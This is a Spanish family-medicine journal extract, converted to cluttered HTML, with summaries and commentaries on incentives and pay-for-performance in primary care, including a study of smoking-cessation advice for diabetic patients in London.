<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Analizar los incentivos desde el punto de vista</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">del médico general clínico, con énfasis en la búsqueda de la</p>
<p align="left">salud de la población y en la potenciación de la «silla».</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Seminario con discusión sobre los incentivos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">en atención primaria.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Desarrollo del texto a partir de la presentación</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">de una revisión general sobre incentivación, de Vicente Ortún</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">y de la discusión previa, en el propio taller, y posterior acerca</p>
<p align="left">de los aspectos más clínicos.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los 37 autores de este artículo mezclan conocimientos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">teóricos y prácticos al analizar los incentivos al uso en</p>
<p align="left">España, en atención primaria. Valoran muchos incentivos actuales</p>
<p align="left">como simples herramientas para contener el gasto, sin tener</p>
<p align="left">en cuenta que lo interesante es la adecuación y la calidad de las</p>
<p align="left">prestaciones (conseguir que se presten al 100% a quienes las</p>
<p align="left">necesitan y que no se presten al 100% a quienes no las necesitan).</p>
<p align="left">Los incentivos explícitos de simple contención del gasto</p>
<p align="left">pueden llegar a destruir incentivos implícitos (p. ej., autoestima</p>
<p align="left">profesional). Hay que evitar, además, la ingeniería documental,</p>
<p align="left">el trabajar para cubrir las apariencias y documentar los indicadores</p>
<p align="left">que aseguran la consecución de los incentivos. Lo importante</p>
<p align="left">es la salud de los pacientes y de la población, pero sabemos</p>
<p align="left">poco del impacto de los incentivos en el producto final. Por</p>
<p align="left">ello se propone, al menos, que los incentivos mejoren la «silla», el</p>
<p align="left">conjunto de procedimientos que se pueden hacer en la consulta</p>
<p align="left">y el domicilio del paciente, con énfasis en lo básico (entrevista</p>
<p align="left">clínica, exploración física, empatía y demás).</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">En España también hay preocupación por las cuestiones éticas</p>
<p>que suscitan los incentivos</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">. Pero se habla poco de la necesidad</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de recuperar el atractivo de la «silla» para el médico</p>
<p align="left">general, de la imperiosidad de aumentar el componente clínico</p>
<p align="left">de la práctica clínica en atención primaria. Se precisan</p>
<p align="left">incentivos y correctivos que fomenten dicho componente clínico,</p>
<p align="left">especialmente en lo poco que se sabe acerca de si aumenta</p>
<p align="left">la salud de la población y de los pacientes.</p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Ortún V. (Nuevas) formas de incentivación en atención primaria.</p>
<p align="left">Seminarios de Innovación en Atención Primaria 2007. Disponible en:</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1" /><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"></p>
<p align="left">www.fcs.es</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">2. Tevés J, Salmerón JM, Blanco JA, Calvet C, Morlans M. La direcció per</p>
<p align="left">objectius incentivats. Un dilema deontològic? Annals Med. 2007;90:</p>
<p align="left">35-7.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"></p>
<p align="left">350 <font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">AMF 2008;4(6):344-352 66</font></font></p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance» </font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">[P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Tenemos los médicos generales españoles capacidad de</p>
<p align="left">discrepar de las modas de los incentivos por hacer cosas</p>
<p align="left">y/o controlar el gasto?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Sí, existe una corriente de pensamiento que pide precaución</p>
<p align="left">antes de la introducción de incentivos varios, incluidos</p>
<p align="left">los del pago por rendimiento.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 8</p>
<p align="left">EN ESPAÑA TAMBIÉN ESTAMOS PREOCUPADOS</p>
<p align="left">CON LOS INCENTIVOS EN ATENCIÓN PRIMARIA</p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Hay algún ejemplo que sugiera un efecto positivo en</p>
<p align="left">salud del pago por rendimiento?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 9</p>
<p align="left">UN EJEMPLO DE MEJORA DEL PROCESO</p>
<p align="left">Y DEL RESULTADO (AL MENOS CON EL P4P</p>
<p align="left">RESPECTO AL TABAQUISMO)</p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Mollet C, Gray J, Saxena S, Netuveli G, Majeed A. Impact</p>
<p align="left">of a pay-for-performance incentive on support for smoking</p>
<p align="left">cessation and on smoking prevalence among people with</p>
<p align="left">diabetes. CMAJ. 2007;176:1705-10.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">El pago por desempeño es criticado por su falta</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de efectividad e impacto en la salud de los pacientes. En general,</p>
<p align="left">los que lo implantan presentan datos a favor, y los que lo</p>
<p align="left">sufren, en contra.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Examinar el impacto del pago por registrar el</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">hábito tabáquico y por aconsejar contra el tabaco a los diabéticos</p>
<p align="left">fumadores, incentivos incluidos en el contrato de 2004 de</p>
<p align="left">los médicos generales ingleses, en el Quality and Outcomes</p>
<p align="left">Framework.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Trabajo tipo «antes-después», longitudinal,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">con base poblacional.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Se utilizan los registros electrónicos de pacientes</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">diabéticos de una zona de la ciudad de Londres (Reino Unido),</p>
<p align="left">que incluye 36 centros de salud, de los que aceptaron participar</p>
<p align="left">32 (unos 90 médicos generales). Se comparan los resultados anotados</p>
<p align="left">en la historia clínica de 4.284 diabéticos, desde junio hasta</p>
<p align="left">octubre de 2003 (antes) y de noviembre de 2005 a enero de 2006</p>
<p align="left">(después de introducir el pago por rendimiento). Como indicadores</p>
<p align="left">se utilizaron el registro del propio tabaquismo y del consejo</p>
<p align="left">antitabaco (cuando correspondía) y se determinó la prevalencia</p>
<p align="left">del tabaquismo en los pacientes estudiados.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Entre 2003 y 2005 aumentó el registro del</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">hábito tabáquico entre los pacientes diabéticos atendidos en los</p>
<p align="left">32 centros estudiados (del 90 al 99%). También aumentó el</p>
<p align="left">número de pacientes diabéticos fumadores en los que se registró</p>
<p align="left">el consejo contra el tabaco (del 48 al 84%). La prevalencia del</p>
<p align="left">tabaquismo disminuyó entre los pacientes estudiados, del 20%</p>
<p align="left">en 2003 al 16% en 2005. Los resultados fueron mejores en los</p>
<p align="left">centros en que se partía inicialmente de datos peores, y sobre</p>
<p align="left">todo en los pacientes de minorías étnicas (en los que la atención</p>
<p align="left">suele ser de mucha peor calidad que en los «locales»). En las</p>
<p align="left">mujeres la cesación de fumar fue menor que en los varones.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">El trabajo comentado demuestra la utilidad del pago por desempeño</p>
<p align="left">en el caso del tabaquismo en diabéticos fumadores. El</p>
<p align="left">consejo contra el tabaco es de las pocas actividades preventivas</p>
<p align="left">de efectividad probada (retrasa 120 muertes por 100.000 habitantes</p>
<p align="left">y año, contra 71 muertes mediante cribado, seguimiento y</p>
<p align="left">tratamiento de la hipertensión y 14 muertes con estatinas en la</p>
<p align="left">prevención secundaria tras el infarto de miocardio). Sin embargo,</p>
<p align="left">en el contrato inglés se paga cinco veces más mediante P4P lo</p>
<p align="left">referente a hipertensión en comparación con el consejo contra el</p>
<p>tabaco</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">. Naturalmente, al juzgar el trabajo, hay que tener en</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">cuenta el diseño («antes-después») que impide valorar el impacto</p>
<p align="left">del simple acontecer en la población del abandono del tabaco<font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font></p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Fleetcroft R, Cookson R. Do the incentive payments in the new NHS contract</p>
<p align="left">for primary care reflect population health gains? J Health Serv Res</p>
<p align="left">Policy. 2006;11:27-31.</p>
<p align="left">2. Bell CM, Levinson W. Pay for performance: learning about quality. CMAJ.</p>
<p align="left">2007;176:1717-9.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Whalley D, Gravelle H, Silbad B. Effect of the new contract</p>
<p align="left">on GPs’ working lives and perceptions of quality of care: a</p>
<p align="left">longitudinal survey. Br J Gen Pract. 2008;58:8-14.</p>
